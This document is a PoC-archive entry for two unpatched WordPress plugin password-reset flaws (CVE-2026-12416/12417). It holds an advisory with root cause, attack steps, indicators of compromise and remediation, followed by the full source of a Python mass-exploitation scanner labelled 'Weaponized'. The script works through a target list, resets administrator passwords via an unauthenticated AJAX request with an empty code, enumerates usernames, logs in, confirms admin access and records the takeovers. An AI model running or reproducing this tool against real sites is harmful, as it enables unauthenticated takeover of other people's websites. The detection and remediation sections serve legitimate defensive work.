PoC Archive PoC Archive
Critical CVE-2026-12416, CVE-2026-12417 unpatched

WordPress SignUp/SignIn & Invoice Generator Password-Reset Account Takeover (CVE-2026-12416 / CVE-2026-12417)

by Alyudin Nafiie (scanner tooling by Khaled Alenazi / Nxploited) · 2026-07-05

CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-12416, CVE-2026-12417
Category
web
Affected product
SignUp & SignIn WordPress plugin (CVE-2026-12417); Invoice Generator WordPress plugin (CVE-2026-12416)
Affected versions
Both plugins ≤ 1.0.0
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / ResearcherAlyudin Nafiie (scanner tooling by Khaled Alenazi / Nxploited)
CVE / AdvisoryCVE-2026-12416, CVE-2026-12417
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS 3.1, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, both CVEs)
StatusWeaponized
Tagswordpress, wp-plugin, account-takeover, password-reset, auth-bypass, ajax, mass-exploitation
RelatedN/A

Affected Target

FieldValue
Software / SystemSignUp & SignIn WordPress plugin (CVE-2026-12417); Invoice Generator WordPress plugin (CVE-2026-12416)
Versions AffectedBoth plugins ≤ 1.0.0
Language / PlatformPHP / WordPress (target); Python 3 (scanner)
Authentication RequiredNo
Network Access RequiredYes

Summary

Both plugins register a password-reset AJAX handler (pravel_change_password for SignUp & SignIn, pravel_invoice_change_password for Invoice Generator) as wp_ajax_nopriv, meaning it is reachable without authentication. Neither handler validates a WordPress nonce or checks capabilities; the only protection is a loose == comparison between the attacker-supplied reset_activation_code and the target user’s stored forgot_email meta value. For any account that has never initiated a password reset, that stored value is an empty string, so submitting an empty reset_activation_code trivially satisfies '' == ''. The included Python tool mass-scans a list of WordPress sites, attempts the reset against low user IDs (targeting the administrator account), verifies the new credentials via login, and confirms admin privileges before logging successful takeovers.


Vulnerability Details

Root Cause

The password-reset AJAX actions perform no nonce verification and no capability check, and rely on a PHP loose-equality (==) comparison of the reset code against a user meta value that defaults to an empty string for accounts that never requested a reset — allowing an empty submitted code to bypass validation entirely.

Attack Vector

  1. Send an unauthenticated POST to wp-admin/admin-ajax.php with action=pravel_change_password (or pravel_invoice_change_password), reset_user_id set to a target user ID, new_password_custom set to an attacker-chosen password, and reset_activation_code left empty.
  2. If the target user has never triggered a password reset, the '' == '' comparison succeeds and the password is changed.
  3. Resolve the corresponding username via the WordPress REST API (/wp-json/wp/v2/users/<id>), the bulk users endpoint, or author-archive enumeration.
  4. Log in with the recovered username and the attacker-set password, then confirm administrator privileges via access to wp-admin/users.php.
  5. Record confirmed admin takeovers to a results file for later use.

Impact

Full unauthenticated account takeover of any user — including administrators — who has never used the forgot-password flow, leading to complete site compromise.


Environment / Lab Setup

Target:   WordPress with SignUp & SignIn <= 1.0.0 and/or Invoice Generator <= 1.0.0 installed
Attacker: Python 3 with requests, rich, colorama, urllib3

Proof of Concept

PoC Script

See CVE-2026-12416--CVE-2026-12417.py in this folder.

1
2
pip install requests rich colorama urllib3
python "CVE-2026-12416--CVE-2026-12417.py"

The script reads a list of target site URLs, probes each with the empty-activation-code password reset against low user IDs, resolves the associated username, verifies the new credentials via wp-login.php, confirms admin capability, and writes confirmed admin takeovers to scan_results/pravel_admin_success.txt.


Detection & Indicators of Compromise

POST /wp-admin/admin-ajax.php action=pravel_change_password reset_activation_code=
POST /wp-admin/admin-ajax.php action=pravel_invoice_change_password reset_activation_code=

Signs of compromise:

  • Password-reset AJAX requests with an empty or missing reset_activation_code parameter
  • Unexpected password changes on accounts (especially admin) that never initiated a “forgot password” flow
  • Successive wp-login.php attempts immediately following an AJAX password-reset call from the same IP

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — update or remove both plugins and monitor for advisory
Interim mitigationDisable the vulnerable AJAX actions or add nonce/capability checks via a must-use plugin; block unauthenticated admin-ajax.php requests for these actions at the WAF

References


Notes

Mirrored from https://github.com/Nxploited/CVE-2026-12416-CVE-2026-12417 on 2026-07-05.

CVE-2026-12416--CVE-2026-12417.py
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#!/usr/bin/env python3
# By: Nxploited
"""
SignUp/SignIn & Invoice — Unauthenticated Password Reset via AJAX

CVE-A  action=pravel_change_password         (plugin: signup-signin)
CVE-B  action=pravel_invoice_change_password (plugin: pravel-invoice)

Both endpoints accept reset_user_id + empty activation_code → password reset.
"""

from __future__ import annotations

import os
import re
import sys
import time
import random
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from typing import List, Optional, Set, Tuple
from urllib.parse import urlparse

import requests
import urllib3
from rich.console import Console
from rich.panel import Panel
from rich.theme import Theme

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# ── Config ────────────────────────────────────────────────────────────────────

NEW_PASSWORD = "Nxploited@123KSa"
RESULT_FILE  = "scan_results/pravel_admin_success.txt"

EXPLOIT_A = "pravel_change_password"
EXPLOIT_B = "pravel_invoice_change_password"
SUCCESS   = '"activation":true'

# (connect_timeout, read_timeout) — keeps down/slow sites from blocking threads
T_FAST  = (3, 5)    # for AJAX exploit probe
T_LOGIN = (4, 8)    # for login + admin check

QUICK_IDS    = [1, 2]
EXTENDED_IDS = list(range(3, 21))

USER_AGENTS = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
    "(KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 "
    "(KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) "
    "Gecko/20100101 Firefox/125.0",
]

# ── Thread-safe globals ───────────────────────────────────────────────────────

_print_lock   = threading.Lock()
_counter_lock = threading.Lock()
_file_lock    = threading.Lock()
_done         = 0
_total        = 0

# ── Console ───────────────────────────────────────────────────────────────────

theme = Theme({
    "info":  "cyan",
    "ok":    "bold green",
    "warn":  "bold yellow",
    "err":   "bold red",
    "host":  "bold magenta",
    "dim":   "dim",
})
console = Console(theme=theme)


def print_banner() -> None:
    os.system("cls" if os.name == "nt" else "clear")
    console.print()
    console.print(
        "  ╔══════════════════════════════════════════════════════════╗",
        style="bold white",
    )
    console.print(
        "  ║                                                          ║",
        style="bold white",
    )
    console.print(
        "  ║   CVE-2026-12416  │  CVE-2026-12417                     ║",
        style="bold white",
    )
    console.print(
        "  ║   Unauthenticated Password Reset via AJAX                ║",
        style="dim white",
    )
    console.print(
        "  ║                                                          ║",
        style="bold white",
    )
    console.print(
        "  ║   By: Khaled Alenazi  ( [bold green]Nxploited[/bold green] )                   ║",
        style="white",
        highlight=False,
    )
    console.print(
        "  ║                                                          ║",
        style="bold white",
    )
    console.print(
        "  ╚══════════════════════════════════════════════════════════╝",
        style="bold white",
    )
    console.print()


# ── Output helpers ────────────────────────────────────────────────────────────

def _tick() -> str:
    global _done
    with _counter_lock:
        _done += 1
        d = _done
    return f"[dim][{d}/{_total}][/dim]"


def _print(msg: str) -> None:
    with _print_lock:
        console.print(msg, highlight=False)


def log_no(base: str) -> None:
    _print(f"  {_tick()}  [dim]{base}  NO[/dim]")


def log_ok(base: str, action: str, uid: int, user: str) -> None:
    login_url = base.rstrip("/") + "/wp-login.php"
    _print(
        f"  {_tick()}  [host]{base}[/host]  "
        f"[ok]ADMIN={user}  pass={NEW_PASSWORD}[/ok]  "
        f"[dim]exploit={action} id={uid} | {login_url}[/dim]"
    )


def log_reset_no_admin(base: str, action: str, uid: int) -> None:
    _print(
        f"  {_tick()}  [dim]{base}  "
        f"reset_ok exploit={action} id={uid} — no admin login[/dim]"
    )


def save(base: str, action: str, uid: int, user: str) -> None:
    ts        = time.strftime("%Y-%m-%d %H:%M:%S")
    login_url = base.rstrip("/") + "/wp-login.php"
    line = (
        f"[{ts}] SITE={base} | LOGIN={login_url} | "
        f"user={user} | pass={NEW_PASSWORD} | "
        f"exploit={action} | id={uid}\n"
    )
    os.makedirs(os.path.dirname(RESULT_FILE) or ".", exist_ok=True)
    with _file_lock:
        with open(RESULT_FILE, "a", encoding="utf-8") as fh:
            fh.write(line)


# ── HTTP helpers ──────────────────────────────────────────────────────────────

def rand_ua() -> str:
    return random.choice(USER_AGENTS)


def normalize(raw: str) -> str:
    raw = raw.strip()
    if not raw.startswith(("http://", "https://")):
        raw = "https://" + raw
    p = urlparse(raw)
    return f"{p.scheme}://{p.netloc}"


def url(base: str, path: str) -> str:
    return base.rstrip("/") + ("" if path.startswith("/") else "/") + path.lstrip("/")


# ── AJAX reset ────────────────────────────────────────────────────────────────

def ajax_reset(base: str, action: str, uid: int) -> bool:
    """
    POST admin-ajax.php with empty activation code.
    Returns True if response contains "activation":true.
    Uses T_FAST timeout — fails quickly on down/slow sites.
    """
    try:
        r = requests.post(
            url(base, "/wp-admin/admin-ajax.php"),
            data={
                "action":                action,
                "reset_user_id":         str(uid),
                "new_password_custom":   NEW_PASSWORD,
                "reset_activation_code": "",
            },
            headers={
                "User-Agent":   rand_ua(),
                "Content-Type": "application/x-www-form-urlencoded",
                "Referer":      base,
            },
            timeout=T_FAST,
            verify=False,
            allow_redirects=False,
        )
        return SUCCESS in (r.text or "")
    except Exception:
        return False


# ── Username enumeration (called ONLY after reset succeeds) ───────────────────

_RE_AUTHOR = re.compile(r"/author/([^/\"'\s>?#]+)", re.I)


def _get_by_id(base: str, uid: int) -> str:
    """Fast direct REST lookup for a specific user ID."""
    try:
        r = requests.get(
            url(base, f"/wp-json/wp/v2/users/{uid}"),
            timeout=T_FAST, verify=False,
            headers={"User-Agent": rand_ua()},
        )
        if r.status_code == 200:
            data = r.json()
            if isinstance(data, dict):
                for k in ("slug", "username", "name"):
                    v = data.get(k, "")
                    if v and isinstance(v, str) and 2 < len(v) < 50:
                        return v.lower()
    except Exception:
        pass
    return ""


def _rest_bulk(base: str) -> List[str]:
    """Bulk user list from REST API — 1 request."""
    out: List[str] = []
    try:
        r = requests.get(
            url(base, "/wp-json/wp/v2/users?per_page=100&_fields=slug,name"),
            timeout=T_FAST, verify=False,
            headers={"User-Agent": rand_ua()},
        )
        if r.status_code == 200:
            for entry in r.json():
                if isinstance(entry, dict):
                    for k in ("slug", "name"):
                        v = entry.get(k, "")
                        if v and isinstance(v, str) and 2 < len(v) < 50:
                            out.append(v.lower())
    except Exception:
        pass
    return out


def _author_scan(base: str, max_id: int = 3) -> List[str]:
    """Author redirect scan — only 3 IDs, 1 request each."""
    out: List[str] = []
    for i in range(1, max_id + 1):
        try:
            r = requests.get(
                url(base, f"/?author={i}"),
                timeout=T_FAST, verify=False,
                allow_redirects=True,
                headers={"User-Agent": rand_ua()},
            )
            m = _RE_AUTHOR.search(r.url)
            if m:
                out.append(m.group(1).lower())
        except Exception:
            continue
    return out


def get_usernames(base: str, hit_id: int) -> List[str]:
    """
    Build ordered candidate list after a confirmed reset.
    Order: exact_by_id → admin → REST bulk → author scan (3 IDs) → hostname
    """
    ordered: List[str] = []
    seen: Set[str] = set()

    def add(n: str) -> None:
        n = n.strip().lower()
        if n and 2 < len(n) < 50 and n not in seen:
            seen.add(n)
            ordered.append(n)

    add(_get_by_id(base, hit_id))   # most accurate: direct REST by ID
    add("admin")                     # most common WordPress admin username
    for u in _rest_bulk(base):      # REST API bulk (1 request)
        add(u)
    for u in _author_scan(base):    # author scan IDs 1-3 (3 requests)
        add(u)

    host = urlparse(base).netloc.split(":")[0].lower().lstrip("www.").split(".")[0]
    if host:
        add(host)

    return ordered


# ── Login + admin verification ────────────────────────────────────────────────

FAIL_WORDS = [
    "incorrect username or password", "invalid username", "invalid password",
    "error: the username", "is not registered", "authentication failed",
    "login failed", "unknown username", "the password you entered",
]

ADMIN_MARKERS = [
    'id="adminmenu"', 'id="wpadminbar"', 'id="wpwrap"', 'id="wpcontent"',
]


def try_login(base: str, username: str) -> Optional[requests.Session]:
    """
    POST to wp-login.php.  Returns an authenticated session or None.
    Uses /wp-login.php directly — covers 95%+ of WordPress installs.
    """
    login_url = url(base, "/wp-login.php")
    sess = requests.Session()
    sess.verify = False
    sess.headers.update({"User-Agent": rand_ua()})

    try:
        sess.get(login_url, timeout=T_LOGIN, allow_redirects=True)
    except Exception:
        return None

    try:
        r = sess.post(
            login_url,
            data={
                "log": username.strip(),
                "pwd": NEW_PASSWORD,
                "wp-submit": "Log In",
                "testcookie": "1",
            },
            headers={
                "User-Agent":   rand_ua(),
                "Cookie":       "wordpress_test_cookie=WP Cookie check",
                "Content-Type": "application/x-www-form-urlencoded",
                "Referer":      login_url,
            },
            timeout=T_LOGIN,
            allow_redirects=True,
        )
    except Exception:
        return None

    body = (r.text or "").lower()
    if any(f in body for f in FAIL_WORDS):
        return None

    has_cookie = (
        "wordpress_logged_in" in r.headers.get("Set-Cookie", "")
        or any(c.name.startswith("wordpress_logged_in") for c in sess.cookies)
    )
    return sess if has_cookie else None


def is_admin(sess: requests.Session, base: str) -> bool:
    """
    Single request to wp-admin/users.php.
    Requires list_users capability → admins only.
    """
    try:
        r = sess.get(
            url(base, "/wp-admin/users.php"),
            timeout=T_LOGIN,
            allow_redirects=True,
        )
        if r.status_code != 200:
            return False
        if "wp-login.php" in (r.url or ""):
            return False
        low = (r.text or "").lower()
        if any(d in low for d in ["you are not allowed", "insufficient permissions"]):
            return False
        # Admins see the users table; others see an error
        return any(m in r.text for m in ADMIN_MARKERS) or 'id="the-list"' in r.text
    except Exception:
        return False


# ── Per-site pipeline ─────────────────────────────────────────────────────────

def _try_exploit_and_login(
    base: str, action: str, uid: int,
) -> bool:
    """
    1. AJAX reset (T_FAST — returns instantly if site is down).
    2. On success: get usernames → login → verify admin → save.
    Returns True if admin confirmed.
    """
    if not ajax_reset(base, action, uid):
        return False

    # Reset confirmed — enumerate usernames lazily
    for username in get_usernames(base, uid):
        sess = try_login(base, username)
        if sess is None:
            continue
        if is_admin(sess, base):
            save(base, action, uid, username)
            log_ok(base, action, uid, username)
            return True

    log_reset_no_admin(base, action, uid)
    return False


def process_site(base: str) -> None:
    base = normalize(base)

    # ── Quick IDs 1 & 2 × both CVEs ──────────────────────────────────────
    for uid in QUICK_IDS:
        for action in [EXPLOIT_A, EXPLOIT_B]:
            if _try_exploit_and_login(base, action, uid):
                return  # admin confirmed → next site

    # ── Extended IDs 3-20 if nothing found ───────────────────────────────
    for uid in EXTENDED_IDS:
        for action in [EXPLOIT_A, EXPLOIT_B]:
            if _try_exploit_and_login(base, action, uid):
                return

    log_no(base)


# ── Interactive runner ────────────────────────────────────────────────────────

def ask(prompt: str, default: str = "") -> str:
    s = input(f"  {prompt} [{default}]: ").strip()
    return s if s else default


def ask_int(prompt: str, default: int) -> int:
    try:
        return max(1, int(ask(prompt, str(default))))
    except ValueError:
        return default


def main() -> None:
    global _total

    print_banner()

    target_file = ask("Targets file (one URL per line)", "targets.txt")
    if not os.path.exists(target_file):
        console.print(f"  [err][x] File not found: {target_file}[/err]")
        sys.exit(1)

    threads = ask_int("Threads (concurrent sites)", 50)

    console.print()
    console.print(f"  [info][*] Password  : {NEW_PASSWORD}[/info]")
    console.print(f"  [info][*] Timeouts  : connect={T_FAST[0]}s  read={T_FAST[1]}s[/info]")
    console.print(f"  [info][*] Results   : {RESULT_FILE}[/info]")
    console.print(f"  [info][*] Exploits  : {EXPLOIT_A}  |  {EXPLOIT_B}[/info]")
    console.print()

    targets: List[str] = []
    with open(target_file, encoding="utf-8", errors="ignore") as fh:
        for line in fh:
            line = line.strip()
            if line and not line.startswith("#"):
                targets.append(line)

    if not targets:
        console.print("  [err][x] Targets file is empty.[/err]")
        sys.exit(1)

    _total = len(targets)
    os.makedirs("scan_results", exist_ok=True)
    console.print(f"  [info][*] Loaded {_total} target(s) — threads={threads}[/info]")
    console.print()

    start = time.time()
    with ThreadPoolExecutor(max_workers=threads) as pool:
        futures = {pool.submit(process_site, site): site for site in targets}
        try:
            for fut in as_completed(futures):
                try:
                    fut.result()
                except Exception as exc:
                    _print(f"  [warn][!] {futures[fut]}: {exc}[/warn]")
        except KeyboardInterrupt:
            console.print("\n  [warn][!] Interrupted.[/warn]")
            pool.shutdown(wait=False, cancel_futures=True)
            sys.exit(1)

    elapsed = time.time() - start
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